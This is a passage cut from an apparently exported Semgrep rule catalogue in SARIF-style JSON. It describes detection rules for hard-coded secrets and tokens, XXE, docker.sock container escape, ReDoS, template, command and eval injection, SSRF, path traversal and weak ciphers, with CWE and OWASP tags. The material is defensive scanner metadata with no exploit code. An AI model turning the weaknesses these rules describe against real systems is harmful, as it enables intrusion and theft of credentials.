[https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-url.mysql-connection-url","id":"rust.secrets.diesel.mysql-connection-url.mysql-connection-url","name":"rust.secrets.diesel.mysql-connection-url.mysql-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.mysql-connection-url.mysql-connection-url"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access."},"help":{"markdown":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","id":"cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","name":"cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"JWT token detected"},"help":{"markdown":"JWT token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-jwt-token.detected-jwt-token)\n - [https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/](https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/)\n","text":"JWT token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-jwt-token.detected-jwt-token","id":"generic.secrets.security.detected-jwt-token.detected-jwt-token","name":"generic.secrets.security.detected-jwt-token.detected-jwt-token","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-jwt-token.detected-jwt-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine."},"help":{"markdown":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n - [https://redfoxsec.com/blog/insecure-volume-mounts-in-docker/](https://redfoxsec.com/blog/insecure-volume-mounts-in-docker/)\n - [https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html](https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html)\n","text":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine."},"helpUri":"https://semgrep.dev/r/dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","id":"dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","name":"dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","CWE-862: Missing Authorization","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","id":"python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","name":"python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process."},"help":{"markdown":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.razor-template-injection.razor-template-injection)\n - [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)\n","text":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.razor-template-injection.razor-template-injection","id":"csharp.dotnet.security.razor-template-injection.razor-template-injection","name":"csharp.dotnet.security.razor-template-injection.razor-template-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.razor-template-injection.razor-template-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. "},"help":{"markdown":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.regexp-redos.regexp-redos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. "},"helpUri":"https://semgrep.dev/r/javascript.express.regexp-redos.regexp-redos","id":"javascript.express.regexp-redos.regexp-redos","name":"javascript.express.regexp-redos.regexp-redos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.regexp-redos.regexp-redos"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"help":{"markdown":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape)\n - [https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates)\n - [https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code](https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code)\n","text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","id":"python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","name":"python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"help":{"markdown":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting)\n - [https://www.owasp.org/index.php/HTTP_Response_Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting)\n","text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting","id":"java.lang.security.audit.http-response-splitting.http-response-splitting","name":"java.lang.security.audit.http-response-splitting.http-response-splitting","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.http-response-splitting.http-response-splitting"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"the `encoding` argument to Popen is only available on Python 3.6+"},"help":{"markdown":"the `encoding` argument to Popen is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen2)\n","text":"the `encoding` argument to Popen is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen2","id":"python.lang.compatibility.python36.python36-compatibility-Popen2","name":"python.lang.compatibility.python36.python36-compatibility-Popen2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-Popen2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Snyk API Key detected"},"help":{"markdown":"Snyk API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Snyk API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","id":"generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","name":"generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Database instance has no logging. Missing logs can cause missing important event information."},"help":{"markdown":"Database instance has no logging. Missing logs can cause missing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Database instance has no logging. Missing logs can cause missing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","id":"terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","name":"terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"help":{"markdown":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion)\n - [https://cwe.mitre.org/data/definitions/704.html](https://cwe.mitre.org/data/definitions/704.html)\n","text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","id":"java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","name":"java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","id":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","name":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","id":"python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","name":"python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","id":"python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","name":"python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","id":"java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","name":"java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.tainted-shelve.tainted-shelve)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.lang.file.tainted-shelve.tainted-shelve","id":"python.lang.file.tainted-shelve.tainted-shelve","name":"python.lang.file.tainted-shelve.tainted-shelve","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.tainted-shelve.tainted-shelve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"help":{"markdown":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","id":"swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","name":"swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to 